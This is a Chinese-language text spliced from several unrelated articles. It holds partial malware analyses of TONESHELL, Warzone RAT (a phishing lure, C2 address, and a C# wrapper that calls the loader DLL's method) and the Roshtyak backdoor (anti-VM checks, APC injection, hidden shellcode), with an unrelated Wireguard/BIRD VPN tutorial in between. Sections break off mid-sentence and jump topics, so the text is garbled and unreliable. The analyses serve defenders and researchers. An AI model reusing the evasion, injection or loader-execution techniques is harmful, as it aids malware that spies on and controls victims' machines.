反分析:ForegroundWindow檢查查看最近的TONESHELL示例,我們注意到與早期版本相比,添加了新的反沙盒技術。較新的版本調用GetForegroundWindow API兩次並檢查是否有任何窗口切換。如果環境是沙盒,兩個調用將獲得相同的窗口句柄,因為大多數沙盒中不涉及人工交互,導致前台窗口不更改。此外,作為一種反沙盒和延遲執行技術,惡意例程只有在前台窗口已經切換了第五次時才會被觸發。

29.png

更新的TONESHELL示例中的GetForegroundWindow檢查

30.png

第五個窗口開關觸發的惡意例程

Shellcode解碼觸發惡意異常處理程序後,它開始解碼下一階段的TONESHELLshellcode。要解碼shellcode,它首先在與0x7D的XOR運算中解碼一個32字節的密鑰,然後該密鑰將用於解碼shellcode主體。

31.png

解碼前(中間)和解碼後(底部)32字節密鑰(頂部)和TONESHELLshellcode的示例

不斷改進的變體我們發現了TONESHELLshellcode的幾種變體:

32.png

TONESHELL變體之間的差異

變體ATONESHELL在設計上支持多達10個CC服務器,但在我們F發現的所有示例中,只使用了一個CC服務器。在連接到CC服務器之前,它使用受害者的捲序列號和計算機名生成一個受害者ID(變量unique_id),或者使用一個隨機生成的GUID。

33.png

查找TONESHELL中支持的10個CC服務器

34.png

在TONESHELL變體A中用於生成受害者ID的算法

在第一個信標中,它從受害者的設備收集以下數據並將其發送到CC服務器:

當前進程ID;

卷序列號;

使用者名稱;

計算機名稱;

產品名稱;

操作系統位;

進程列表;

TONESHELL通過原始TCP進行通信,請求標頭和響應標頭以特定

FortiGuard實驗室最近發現了一封假裝來自匈牙利政府的電子郵件。它通知用戶,他們的政府門戶的新憑證已經附加。然而,附件是一個壓縮的可執行文件,在執行時,它將把Warzone RAT提取到內存中並運行它。在我們最初發現的幾天后,匈牙利國家網絡安全中心也發布了關於這次攻擊的警告。

受影響的平台:Microsoft Windows;

受影響方:Microsoft Windows用戶;

影響:為攻擊者提供遠程訪問;

嚴重級別:高;

感染載體最初的感染是通過模仿匈牙利政府門戶網站的仿冒電子郵件(圖1)發生的。該門戶用於在線開展公務,如提交文件、訂購ID等。

1.png

含有Warzone RAT惡意軟件附件的惡意郵件

電子郵件告訴受害者,他們的憑據已更改,並附上了新的憑據。完整的翻譯是:

2.png

從語言上看,這封郵件是由母語為英語的人寫的,然而這封郵件並沒有使用官方通信應有的語法。

附件是一個zip文件,其中包含一個偽裝為PDF的可執行文件。如上圖所示,該文件包含一個模仿Adobe PDF Reader圖標的圖。文件名以pdf結尾,但擴展名為.exe。然而,在默認的Windows安裝中,文件擴展名是隱藏的,它看起來像一個實際的PDF文件。用戶唯一的警告是文件資源管理器將文件類型顯示為“應用程序”,這意味著它是可執行文件而不是文檔。但這對普通用戶來說可能並不明顯。

3.png

偽裝成PDF的可執行文件

俄羅斯套娃式的混淆當我們開始分析“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”時,我們很快意識到它就像一個俄羅斯套娃混淆,但不是每次打開一個娃娃都會得到一個更小的娃娃,而是得到越來越多的混淆的.NET二進製文件,這就是我們將在本節中看到的。

“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”是一個32位的.NET可執行文件。一旦在dnspy(一個著名的.NET反編譯程序)中進行了反編譯,我們就會發現源代碼很簡單,同時也很容易混淆。代碼的一般結構如下圖所示。原始二進製文件可能在重命名為“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”之前被稱為iANO。

4.png

“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”的程序結構

代碼顯示了BattleShipLiteLibrary和一個計算器的混合體,這看起來像是桌面遊戲Battleship的實現。下圖顯示了實現計算器的實際代碼。

5.png

計算器的實現

有時它看起來像一個計算器,行為也像一個計算器,但它仍然不是一個真正計算器。在本例中,為計算器設置用戶界面的InitializeComponent()函數也會在最後調用PerformLayout()函數。然後該函數繼續調用ResourceTemplateDefine()函數。

6.png

從資源加載代碼

ResourceTemplateDefine()函數加載名為“Web”的資源。起初,它似乎將其解釋為位圖,但最後,它將其轉換為程序集。如果我們在十六進制編輯器中查看這個資源,我們會看到它有一個位圖標頭。但是當我們進一步觀察時,它還包括MZ字符,這是可移植可執行文件(PE)的神奇值。在底部,我們甚至可以看到臭名昭著的“此程序不能在DOS模式下運行”字符串,這是PE文件的另一個標誌。

7.png

檢查“Web”資源發現它隱藏了一個PE文件

該PE文件從資源中加載。下圖顯示了使用GetMethod()加載它的方法,並調用其中一個方法。另一個圖顯示了在調試器中調用的方法是' sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY() '。

8.png

從PE文件加載並調用特定的方法

9.png

顯示被調用方法名稱的調試器

KeyNormalize.dll“Web”資源中的PE文件的原始名稱是KeyNormalize.dll。從被調用函數的名稱中,我們已經可以預期它是混淆的。由於它是另一個.NET可執行文件,我們可以在dnspy中打開它並輕鬆檢測,並使用SmartAssembly確認它已被混淆。

10.png

使用SmartAssembly混淆器

De4Dot是一個去混淆器工具,在消除二進製文件的混淆方面很有效率。但是,它不能解析混淆的字符串。為此,我們編寫了一個可以解析字符串的定製程序。

在靜態分析KeyNormalize.dll之後,我們看到它從資源加載另一個二進製文件並執行函數調用,如前面所示。

11.png

從資源加載程序集並調用它的一個函數

我們可以恢復二進製文件,並再次使用調試器調用哪個函數。下圖顯示了變量'text6 '中的base64編碼數據,在解碼之後,我們看到它是另一個PE文件。這個PE文件也是一個.NET可執行文件,最初稱為Metall.dll。

12.png

變量' text6 '中的Base64編碼數據

13.png

' text6 '中的數據是另一個PE文件

在調試器中,我們還可以看到在這個新恢復的PE文件中調用了' OwbdG5aNVQQYu6X20i.o9pVsMvoTr75y5TrkE.V4j9c6YCwC() '函數。

Metall.dll在開始分析這個二進製文件之後,我的第一反應如下圖所示。

14.png

metal .dll為遊戲添加了另一層混淆

不用說,metal .dll通過向二進製文件添加控制流扁平化等特性,增加了混淆的程度。當我們談到混淆器時,我們說他們的目標是減緩逆向進程。這在某種程度上是有效的。然而,在本例中,我們可以簡單地採取一個快捷方式,讓二進製文件運行並將其最終有效載荷加載到內存中。這樣,我們可以將其轉儲到一個文件中,以便進一步分析。

WarzoneRAT最終由metal .dll加載到內存中的有效負載是Warzone遠程訪問木馬(RAT)的一個版本。這是一個眾所周知的惡意軟件操作作為惡意軟件服務(MaaS)。它在互聯網上是公開的,任何人都可以通過訂閱模式訪問它。當前的定價如下圖所示。

15.png

Warzone RAT的當前定價

它為其訂戶提供以下功能:

Native,independentstub

CookiesRecovery

RemoteDesktop

HiddenRemoteDesktop-HRDP

PrivilegeEscalation-UACBypass

RemoteWebCam

PasswordRecovery

FileManager

DownloadExecute

LiveKeylogger

OfflineKeylogger

RemoteShell

ProcessManager

ReverseProxy

AutomaticTasks

MassExecute

SmartUpdater

HRDPWANDirectConnection

Persistence

WindowsDefenderBypass

WarzoneRAT通常也被稱為“Ave_Maria Stealer”,因為下圖所示的字符串出現在二進製文件中。

16.png

Ave_Maria Stealer名稱來自於二進製文件中的這個誤導性字符串

嵌入到GitHub的鏈接沒有提供任何有用的東西,這可能只是誤導逆向的另一種方式。

Warzone根據Windows版本提供多種升級權限的方法。其中一個是在同一個二進製文件中實現的,另一個作為WM_DSP資源添加到二進製文件中。如果需要,這將在運行時加載並執行。

17.png

可以在資源中找到一個特權升級漏洞

為了躲避防病毒軟件,Warzone試圖將自己添加到Windows Defender的排除列表中,如下圖所示。

18.png

Warzone將自己添加到防病毒排除列表中

為了建立持久性,它還將自身複製到以下路徑:

C:\Users\Admin\Documents\ Adobe5151.exe

Warzone還使用與其指揮控制服務器的加密通信。過去,加密的密碼/密鑰是字符串' warzone160\x00 '。在此示例中,它已更改為字符串“nevergonnagiveyouup”。所以,受害者在不知不覺的情況下被人用人力推倒。

19.png

使用新密碼進行加密

通過動態分析,C2服務器的地址為171.22.30.72:5151。在我們的內部系統中查找這個IP和端口號,如下圖所示。從這張圖中我們可以看到,這場特別的攻擊活動早在2022年6月20日就開始了。

20.png

訪問地址171.22.30.72:5151

可以看出,攻擊者用一封寫得很好的虛假政府郵件作為誘餌,執行所附的惡意軟件。這種誘惑是經過深思熟慮的,因為它與匈牙利所有使用在線管理門戶的人都相關。

嵌入式.NET二進製文件的russian yoshka doll具有越來越複雜的混淆功能,支持攻擊者越來越依賴現代混淆技術的趨勢。這將導致逆向工程師不得不投入更多的時間來清除和分析惡意軟件。使用Warzone RAT作為最終有效載荷也支持了攻擊者對MaaS服務日益增長的依賴。我們在勒索軟件樣本中看到了類似的趨勢,勒索軟件即服務提供商越來越受歡迎。

如上所述,該活動的最後一個有效載荷Warzone RAT是通過一系列混淆的.NET二進製文件部署的。每個階段都從二進製文件中的某個位置加載下一個階段,對其進行解碼,將其加載到內存中,並調用一個函數將控制流傳遞給下一個階段。這樣的多階段加載程序可能會使動態分析變得困難,因為每次重新啟動惡意軟件樣本時,在不同的階段進行導航都會很困難。為了避免這個問題,我們從各個階段創建了獨立的可執行文件,以實現更高效的調試。這就是我們將在下面討論的。

下圖顯示了Warzone RAT在這一特定攻擊中的部署鏈。釣魚電子郵件包含一個zip文件。該zip文件包含下圖所示的二進製文件。

2.1.png

拆封過程

一旦上一步被執行,它就加載下一步,KeysNormalize.dll一個解壓縮到內存中的.NET動態鏈接庫(DLL)。它通過調用它的一個函數(sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY())來運行。這篇文章討論瞭如何使用調試恢復。一種方法是使用dnspy作為調試器從內存中轉儲KeysNormalize.dll。它被一種叫做SmartAssembly的混淆工具混淆了。

要了解第三階段是什麼(Metal.dll)並將其轉儲到文件中,我們需要能夠調試KeysNormalize.dll。但在此之前,我們還面臨以下挑戰:

我們如何獨立於最初解包並在內存中運行它的可執行文件運行KeysNormalize.dll ?

我們如何為KeysNormalize.dll創建一個環境,讓它可以釋放下一個階段,就像在原始惡意軟件中那樣?

方案1:獨立運行KeysNormalize.dll因為這不是一個.exe文件,我們不能直接雙擊它來運行。此外,原始的.exe文件調用來自KeysNormalize.dll的特定函數,因此我們還必須確保在運行該DLL時調用相同的函數。

有多種方法可以做到這一點。在這種情況下,對我有用的是用c#創建一個包裝器程序,我在其中導入keysnormize . DLL作為一個正常的DLL,並簡單地調用sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY()函數。如果你是一個.NET/C#開發人員,這是非常容易的,而我不是,但如果你不經常這樣做,這可能會很有挑戰性。

設置Visual Studio首先,讓我們啟動Visual Studio並創建一個新的C#控制台應用程序(.NET Framework)項目,然後選擇.NET 4.7.2版本。我們可以調用這個項目dll_wrapper。默認情況下,它加載一個空類。但我們可以將其更改為下圖所示的代碼。

2.2.png

等待擊鍵的基本程序

此代碼將無限期等待按鍵,然後不執行任何操作。將此添加到代碼中的原因是我們無法在調試器中提前添加斷點。這樣,我們可以在程序等待按鍵時中斷執行,然後在需要時添加斷點。

導入KeysNormalize.dll下一步是在項目中包含KeysNormalize.dll。首先,我們將DLL複製到項目文件夾中。

2.3.png

將KeysNormalize.dll複製到項目文件夾中

我們還需要添加對KeysNormalize.dll的引用,這可以在Project-Add Project Reference-Browse-Choose the KeysNormalize.dll下完成。 KeysNormalize現在應該出現在SolutionExplorer的References下,如下圖所示。

2.4.png

將對DLL的引用添加到項目中

現在我們應該可以開始在項目中使用KeysNormalize.dll了。我們需要調用以下函數(我們從對原始二進製文件的分析中了解到這一點,這裡不討論):

sk41Ua2AFu5PANMKit.abiJPmfBfTL6iLfmaW.Y5tFvU8EY('4F515364','746771','BattleshipLiteLibrary');

為此,我們首先需要導入sk41Ua2AFu5PANMKit,這是Program.cs中KeysNormalize中的命名空間。接下來,我們將上面的函數調用添加到按鍵循環之後的代碼中,如下圖所示。

2.5.png

導入庫並調用目標函數

如果運行此程序,則表示正在執行惡意負載,因此只能在隔離的安全系統上運行。

我們現在可以構建一個x86版本的二進製文件。如果我們運行該程序,無論是在Visual Studio中還是單獨運行,它都會崩潰並拋出異常,如下圖所示。

2.6.png

未找到資源,導致異常

從錯誤消息中,我們看到沒有找到BattleshipLiteLibrary.Properties.Resources.resources。該資源存在於第一階段二進製文件“Uj bejelentkezEsi adatai马云惹不起马云pdf.exe”或“iANO”中。

2.7.png

iANO二進製文件中的資源

這很有趣,因為這意味著儘管KeysNormalize是一個獨立的DLL,但它不能單獨工作。

方案2:創建BattleshipLiteLibrary.Properties.Resources.resources為了克服資源問題,我們需要滿足KeysNormalize.dll的需求,並創建一個名為BattleshipLiteLibrary.Properties.Resources.resources的資源。這並不像看上去那麼簡單。資源名的構建方式如下:

持續的遠程工作趨勢使企業組織嚴重依賴虛擬基礎架構與虛擬專用網絡(VPN)。它們在今天是非常常見的解決方案,但微調VPN 仍然是一項棘手的任務。

網絡管理員必須選擇相關工具並手動構建一個網絡,以滿足其組織在網絡安全、用戶匿名性和網絡複雜性方面的需求。有時,VPN 無法滿足組織的需求,組織不得不尋找軟件定義網絡(SDN) 等更複雜的技術。

在本文中,我們展示瞭如何設置可在現實場景中使用的安全虛擬專用網絡,以提供對本地和雲資源的訪問。我們還將了解SDN 的功能、優勢和關鍵應用。

本文對希望增強VPN 技術及其發展方向知識的團隊領導和產品經理很有用。

什麼是VPN? VPN是一種允許多台機器通過虛擬網絡連接的技術。與需要實際的電線和/或無線電發射器到位的物理網絡不同,虛擬網絡利用現有的物理基礎設施並純粹通過軟件方式定義其拓撲。

為了解釋VPN 的工作原理,讓我們定義一些術語,考慮我們期望常規網絡具有的屬性,並了解它們通常如何在VPN 中實現:

image.png

這些東西的工作方式在真實網絡和虛擬網絡中幾乎是一樣的。主要區別在於,在虛擬網絡中,分配了IP 地址的網絡接口是虛擬的,即在操作系統視為接口的背後沒有實際的物理設備。路由到此接口的流量由實現VPN 協議的軟件處理。

由於虛擬接口沒有與其關聯的物理設備,它不能直接將數據包發送到網絡中,因此它要求其他接口為它這樣做。當虛擬接口接收到數據包時,它會確定其在虛擬網絡中的目的地(接收方的IP 地址)。然後,接口背後的軟件檢查VPN 的配置,以找到與接收方網絡節點對應的物理接口的IP 或可以將數據包路由到它的節點的IP。這是這個過程的樣子:

image.png

物理接口不轉發原始數據(即VPN 數據包的有效負載),而是傳輸整個數據包和標頭。當接收方的節點收到數據包時,其虛擬接口可以解析它並確定下一步要做什麼。

VPN 本質上混淆了兩個對等點之間的物理網絡,使它們認為它們直接相互連接並在幕後傳輸流量。此屬性允許組織為其用戶提供從本地網絡外部對敏感資源的安全遠程訪問。此外,他們不需要根據物理網絡接口的IP 地址配置複雜的路由規則。

現在,讓我們通過實際示例詳細探討如何保護您的虛擬網絡。

使用VPN 增強網絡安全VPN 實現在數據離開虛擬接口之前對所有數據進行加密,並利用VPN 網關屏蔽網絡客戶端的實際IP。讓我們看看真實世界的VPN 協議Wireguard如何確保在虛擬網絡中保護傳輸中的數據和用戶匿名。

Wireguard 是一款開源軟件,可為您的VPN 添加加密功能。以下是我們如何使用Wireguard 配置文件表達上一節中的方案:

Device1configuration:

[Interface]

Address=10.0.0.1

PrivateKey=%device1's

key%

[Peer]

PublicKey=%device2的

公鑰

%

Endpoint=%device2的IP%:

51820AllowedIPs=10.0.0.2/32

Device2配置:

[Interface]

Address=10.0.0.2

PrivateKey=%device2的

私鑰

%

ListenPort=51820

[Peer]

PublicKey=%device1's

public

key%

AllowedIPs=10.0.0.1/32這兩種配置看起來幾乎相同。兩者都定義了一個具有特定IP 地址和關聯私鑰的虛擬接口,並相互交換公鑰。第二個設備承擔服務器的角色,定義其虛擬網絡對等點可以連接到的偵聽端口。如果未定義此端口,則入站數據包將被丟棄,從而阻止任何通信的發生。

但是,對等點不必公開偵聽端口,因為服務器將使用在它們連接後創建的套接字來響應它們。所有在10.0.0.1 和10.0.0.2 之間傳輸的數據包都將由Wireguard 加密,並使用UDP 傳輸協議通過物理網絡發送到它們的目的地。

現在讓我們擴展上面描述的簡單拓撲並在網絡中引入更多對等點:

image.png

在網絡中,Device1 和Device3 之間沒有直接連接,它們必須依靠Device2 來中繼它們的數據包。這是此設置的Wireguard 配置的外觀:

Device1configuration:

[Interface]

Address=10.0.0.1

PrivateKey=%device1'sprivatekey%

[Peer]

PublicKey=%device2'spublickey%

Endpoint=%device2'sIP%:51820

AllowedIPs=10.0.0.0/24

Device2configuration:

[Interface]

Address=10.0.0.2

PrivateKey=%device2'sprivatekey%

ListenPort=51820

[Peer]

PublicKey=%device1'spublickey%

AllowedIPs=10.0.0.1/32

[Peer]

PublicKey=%device3'spublickey%

AllowedIPs=10.0.0.3/32

Device3configuration:

[Interface]

Address=10.0.0.3

PrivateKey=%device3'sprivatekey%

[Peer]

PublicKey=%device2'spublickey%

Endpoint=%device2'sIP%:51820

AllowedIPs=10.0.0.0/24現在Device2的配置和原來的有很大的不同。它有兩個[Peer] 部分,對應於Device1 和Device2。每個部分都包含給定對等點的公鑰及其虛擬IP,以便Device2 知道將哪些數據包路由到哪裡。 Device1 和Device3 配置也有點不同:它們的AllowedIPs 字段現在包含的不是單個IP,而是10.0.0.0/24 子網。這意味著此子網中的所有IP 都將路由到Device2。

這種將一台設備用作網關的設置非常普遍。 Device1可以是員工在家訪問辦公室的電腦,Device3可以是連接公司內網的目標電腦,Device2可以是外部客戶端訪問本地設備的網關,例如Device3。

在Wireguard 接口之間流動的所有流量都經過加密,連接到此VPN 的設備(網關除外)都不知道對等方的物理IP。這種連接既安全又匿名。

為什麼簡單的虛擬網絡會演變成SDN?我們上面討論的示例拓撲可用於不需要復雜網絡的小型組織。大型公司、國際組織和雲計算採用者需要更複雜和精細的解決方案。複雜的虛擬網絡是許多現代組織的支柱,這些組織允許其員工遠程工作或在多個地點開展業務。

軟件定義的網絡方法在網絡交換機、負載平衡器、網關和其他元素之上添加專用網絡服務。這些服務充當網絡基礎設施和您的業務架構之間的附加控制層。通過這一層,您可以方便地配置和管理網絡中的端點,以及建立虛擬網絡安全性能監控。

軟件定義的網絡正在迅速流行,因為它允許組織:

image.png

簡化和集中網絡管理。網絡管理員可以使用軟件定義的網絡從一個地方管理他們的網絡,而不是分別處理每個基礎設施元素和VPN 協議。中間層幫助他們方便地編排網絡端點、配置流量優先級並添加安全機制,同時節省時間。

保持網絡配置一致。當從一個地方配置和管理所有基礎架構元素時,它們會一致地工作,並且不會在虛擬專用網絡安全性和性能方面留下任何差距。

加強網絡保護。 SDN 引入了額外的可能性來保護您的網絡,例如選擇性流量阻塞和路由到特定服務、網絡分段、自動安全更新以及所有網絡元素的識別。

優化負載均衡。配置有VPN 的簡單虛擬網絡為負載平衡提供的靈活性很小,因為它專注於在虛擬元素和真實元素之間傳遞流量。 SDN 控制器可以查看整個網絡中資源的可用性,並根據負載動態將流量重新路由到各個端點。

構建更複雜的網絡。網絡服務層允許您向網絡添加任意數量的虛擬資源、雲計算服務和基礎設施元素。使用SDN對於構建大型數據中心、國際企業基礎設施、雲服務等至關重要。

請記住,建立SDN 是一個複雜的過程,仍然需要您投入大量精力來設計和規劃您的網絡。但如果實施得當,軟件定義網絡可為您提供改進虛擬網絡的可能性。

現在,讓我們看看如何通過使用軟件定義額外的端點,將上面示例中的簡單網絡轉變為高級網絡。

配置高級網絡路由具有多個內網和雲服務的網絡需要更多的網關來管理不同的子網,平衡負載,並使虛擬網絡容錯。在物理網絡中,無數網關通過Internet 路由數據包。為了有效地做到這一點,他們使用了邊界網關協議(BGP)。該協議設計用於在網關之間共享路由和可達性信息。

讓我們探索擴展網絡拓撲的示例模式:

scheme_-_3(1).jpg

物理網絡接口上的特定IP 在這裡並不重要,因為所有設備都連接到不同的LAN。 Device1 和Device2 連接到Gateway1,而Device3 和Device4 連接到Gateway2。但是,例如,當Device1 試圖訪問Device3 時會發生什麼?

當Device1 將數據包發送到IP 地址10.0.0.4 時,它們被路由到Gateway1,因為該IP 屬於10.0.0.0/24 子網並且Wireguard 配置指示將這些數據包重定向到10.0.0.2 對等方。但是Gateway1 的配置不包含IP 為10.0.0.4 的任何對等點,因此它必須將接收到的數據包中繼給知道如何到達目的地的人。

這就是BGP 發揮作用的地方。 Gateway1 和Gateway2 建立BGP 連接並共享路由信息。要創建這樣的連接,您可以使用BIRD Internet Routing Daemon。 BIRD 守護進程的相應配置如下:

Gateway1config

protocolbfd{

interface'wg*'{

minrxinterval10ms;

mintxinterval100ms;

idletxinterval1000ms;

multiplier5;

};

neighbor10.0.0.5;

}

protocolstatic{

route10.0.0.1/32;

route10.0.0.3/32;

}

Gateway2config

protocolbfd{

interface'wg*'{

minrxinterval10ms;

mintxinterval100ms;

idletxinterval1000ms;

multiplier5;

};

neighbor10.0.0.2;

}

protocolstatic{

route10.0.0.4/32;

route10.0.0.6/32;

}每個配置的第一部分——protocol bfd——定義了向鄰居通告路由的條件。鄰居本身應該可以通過雙向轉發檢測(BFD) 協議訪問,該協議可以快速檢測兩個鄰居之間的鏈路是否斷開。

第二部分——靜態協議——定義了向鄰居通告的靜態路由。 Gateway1 共享到Device1 和Device2 的路由,而Gateway2 共享到Device3 和Device4 的路由。因此,當網關接收到一個IP 未出現在其配置中的數據包時,它可以檢查路由表以查看BIRD 守護程序是否接收到任何相關的路由信息並將數據包轉發到下一個網關。數據包將在網關之間傳輸,直到到達目的地。

為了獲得額外的可靠性,每個對等點都可以運行BFD 客戶端來檢測它們所連接的網關是否可達。如果對等點本身不可達,則可以指示BIRD 守護進程根據其BFD 連接狀態不通告其路由。我們可以通過將此代碼添加到上面的代碼而不是protocol static來實現:

protocolstatic{

route%peervirtualIP%/32multipath

via%wireguardinterface%bfd;

}有了這個,您將擁有一個可行的虛擬軟件定義網絡,該網絡連接多個端點,保護其中的數據,並提供一些擴展空間。

結論借助Wireguard 和BIRD 等現代工具,組織可以構建跨越多個內聯網的虛擬網絡,整合雲服務,並允許用戶通過精細控制安全地訪問所有必需的資源。

惡意軟件開發者通常會使用各種技巧使分析工作變得更加困難。這些技巧包括使逆向工程複雜化的混淆技巧、逃避沙箱的反沙箱技巧、繞過靜態檢測的打包技巧等。多年來,各種惡意軟件在野外使用的無數欺騙手段都記錄了這一點。然而,儘管有許多可用的技巧,但在典型的惡意軟件中很少實現這些技巧。

本文就以Roshtyak 後門為例介紹惡意軟件的自保護、殺軟逃逸技巧。 Raspberry Robin於2021年9月首次被發現,通過受感染的USB設備傳播。本文的主題是一個我們稱為Roshtyak 的後門,它不是典型的惡意軟件。 Roshtyak 反分析設計很多。有些是眾所周知的,有些是我們從未見過的。從技巧角度來看,Roshtyak 的自我保護非常有趣。 Roshtyak 屬於我們見過的反分析最成功的的惡意軟件之一。我們希望通過發布我們對惡意軟件及其保護技巧的研究和分析,幫助其他研究人員識別和應對類似的技巧,並強化他們的分析環境,使他們對所描述的繞過技巧加強防護。

Roshtyak 是Raspberry Robin 使用的DLL 後門,一種通過受感染的可移動驅動器傳播的蠕蟲,Raspberry Robin今年非常流行。

Red Canary 的研究人員於2022 年5 月發布了對Raspberry Robin 的首次分析。 6 月,賽門鐵克發布了一份報告,描述了一次挖礦/剪貼板劫持操作,據報導,這讓攻擊者至少賺了170萬美元。賽門鐵克沒有將惡意操作與Raspberry Robin 聯繫起來。儘管如此,根據我們的分析,其幕後組織是Raspberry Robin。該評估基於我們分析中觀察到的CC 重疊、以及很多與其他惡意軟件相似性。 Cybereason、微軟和思科在2022 年7 月/8 月發布了進一步的報告。微軟報告說,Raspberry Robin 感染導致了DEV-0243(又名Evil Corp)勒索行為。雖然我們無法確認此連接。儘管如此,我們仍然有理由相信挖礦軟件有效載荷並不是Raspberry Robin 感染被貨幣化的唯一方式。最近的其他報導也暗示了Raspberry Robin 和Evil Corp 之間可能存在的聯繫。

1.png

儘管發表瞭如此多的報導,但關於Raspberry Robin 仍有許多未知數。惡意軟件背後的最終目標是什麼?誰負責運營Raspberry Robin ?它是如何變得如此流行的?不幸的是,我們沒有所有這些問題的答案。但是,我們可以回答我們多次看到的一個重要問題:在高度混淆的DLL(或我們稱之為Roshtyak)中隱藏了哪些功能?為了回答這個問題,我們對Roshtyak 示例進行了完全逆向工程。

Roshtyak介紹Roshtyak 包含多達14 層保護層,每層都經過高度混淆並服務於特定目的。一些工件表明這些層最初是PE 文件,但被轉換為只有以前的層知道如何解密和加載的自定義加密結構。許多反調試器、反沙盒、反虛擬機和反仿真器檢查遍布各個層。如果其中一項檢查成功檢測到分析環境,那麼將採取四個操作中的一個。

惡意軟件調用自己的TerminateProcess,以避免顯示任何進一步的惡意行為,並保持後續層的加密。

Roshtyak是故意撞車的。這與終止自身俱有相同的效果,但由於Roshtyak的混淆特性,可能無法立即清楚崩潰是有意的還是因為一個漏洞。

惡意軟件故意進入無限循環。由於循環本身位於混淆代碼中並且跨越數千條指令,因此可能很難確定循環是否在為攻擊做準備。

最有趣的情況是惡意軟件通過解包和加載虛假有效負載來繞過成功檢查,這發生在第八層,它加載了幾十個反分析檢查。每個檢查的結果都用於修改全局變量的值。在第8 層的數據段加密了兩個有效載荷。真正的第9 層和偽造的有效載荷,只有在執行所有檢查後,全局變量與預期值匹配時,才會解密真正的第九層。如果檢測到分析環境,則全局變量的值將與預期值不同,從而導致Roshtyak 解包並執行虛假有效負載。

2.png

Roshtyak 的混淆導致即使是相對簡單的函數也變得很大。如果想在合理的時間範圍內對其進行逆向工程,就需要一些自定義的反混淆工具。

虛假有效載荷是一個BroAssist(又名BrowserAssistant)廣告軟件示例。我們認為,這個虛假的有效載荷旨在誤導惡意軟件分析師認為該示例沒有實際情況那麼有趣。當逆向工程師專注於快速解包示例時,整個示例可能看起來“只是”一個混淆的廣告軟件(而且是一個非常古老的廣告軟件),這可能會導致分析師對深入挖掘失去興趣。事實證明,這些虛假的有效載荷惡作劇可能非常有效。從下面的屏幕截圖中可以看出,它欺騙了至少一名研究人員,該研究人員漏洞地將Raspberry Robin 蠕蟲歸因於虛假的BrowserAssistant 有效載荷。

3.png

這表明,鑑於Roshtyak 的設計和復雜性,犯這樣的漏洞是多麼容易。

複雜的混淆技巧現在讓我們直接詳細介紹Roshtyak 採用的一些有趣的規避技巧。

段寄存器在執行的早期,Roshtyak 更喜歡使用不需要調用任何導入函數的檢查。如果其中一項檢查成功,則示例可以安靜地退出,而不會生成任何可疑的API 調用。下面是Roshtyak 檢查gs 段寄存器行為的示例。該檢查被設計為隱形的,周圍的垃圾指令使其容易被忽視。

4.png

只有帶下劃線的指令是有用的

此檢查背後的第一個想法是檢測單個執行。在上面的代碼片段之前,cx 的值被初始化為2。在彈出ecx指令之後,Roshtyak檢查cx是否仍然等於2。這將是預期的行為,因為該值應該在正常情況下通過堆棧和gs 寄存器傳播。但是,單個事件會重置gs 選擇器的值,這會導致最後彈出一個不同的值到ecx 中。

但這項檢查還有更多內容。作為上述兩個push/pop 對的副作用,gs 的值暫時更改為2。在此檢查之後,Roshtyak 進入一個循環,計算迭代次數,直到gs 的值不再是2。 gs 選擇器在線程上下文切換後也會被重置,因此循環本質上是計算迭代次數,直到發生上下文切換。 Roshtyak 多次重複此過程,求出結果的平均值,並檢查它是否屬於裸機執行環境的合理範圍。如果示例在虛擬機管理程序或模擬器中運行,則平均迭代次數可能會超出此範圍,這使Roshtyak 能夠檢測到不需要的執行環境。

Roshtyak 還檢查cs 段寄存器的值是0x1b 還是0x23。此時,0x1b 是在原生x86 Windows 上運行時的預期值,而0x23 是在WoW64 中運行時的預期值。

通過隨機ntdll gadget注入APCRoshtyak從獨立的進程中執行一些功能。例如,當它與它的CC服務器通信時,它會生成一個新的看似無害的進程,如regsvr32.exe。通過使用共享段,它將通信模塊注入到新進程的地址空間中。被注入的模塊通過APC注入執行,使用的是NtQueueApcThreadEx。

有趣的是,ApcRoutine 參數(標記要安排執行的目標例程)並不指向注入模塊的入口點。相反,它指向ntdll 中看似隨機的地址。仔細一看,我們發現這個地址不是隨機選擇的,而是Roshtyak 掃描了ntdll 的代碼段來查找pop r32;retgadget(不包括pop,因為旋轉堆棧是不可取的),並隨機選擇一個作為ApcRoutine。

5.png

隨機彈出r32; ret gadget 用作APC 注入的入口點

查看ApcRoutine 的調用約定可以理解發生了什麼。 pop 指令使堆棧指針指向NtQueueApcThreadEx 的SystemArgument1 參數,因此ret 指令有效地跳轉到SystemArgument1 指向的任何位置。這意味著通過濫用這個gadget,Roshtyak 可以將SystemArgument1 作為APC 注入的入口點。這混淆了控制流並使NtQueueApcThreadEx 調用看起來更合法。如果有人掛鉤此函數並檢查ApcRoutine 參數,它指向ntdll 代碼段的事實可能足以讓他們相信該調用不是惡意的。

檢查組合寫入內存的讀/寫性能在接下來的檢查中,Roshtyak 分配一個帶有PAGE_WRITECOMBINE 標誌的大內存緩衝區。該標誌應該修改緩存行為以優化順序寫入性能,不過這是以讀取性能和可能的內存排序為代價的。 Roshtyak 使用它來檢測它是否在物理設備上運行。它進行了一項實驗,首先寫入分配的緩衝區,然後從分配的緩衝區中讀取,同時使用一個單獨的線程作為計數器來測量讀寫性能。該實驗重複32 次,只有在大多數情況下寫性能至少是讀性能的6倍時,才會通過檢查。如果檢查失敗,Roshtyak就會故意選擇漏洞的RC4密鑰,從而導致無法正確地解密下一層。

隱藏shellcode有趣的是,注入的shellcode 也被隱藏了。當Roshtyak 準備代碼注入時,它首先創建一個大段並將其作為PAGE_READWRITE 映射到當前進程中。然後,它用隨機數據填充該段,並將shellcode 放置在隨機數據內的隨機偏移處。由於shellcode 只是一個相對較小的加載器,後面跟著看起來是隨機的打包數據,所以整個段看起來像隨機數據。

6.png

共享區段內字節的直方圖。注意,它看起來幾乎是隨機的,最可疑的符號是空字節的輕微過度表示。

然後該段從當前進程中取消映射,並映射到目標進程中,在目標進程中使用上述APC 注入技巧執行該段。添加隨機數據是為了隱藏shellcode 的存在。僅從目標進程的內存轉儲來看,該段可能看起來充滿了隨機數據並且不包含任何有效的可執行代碼。即使有人懷疑該段中間某處的實際有效代碼,也不容易找到它的確切位置。

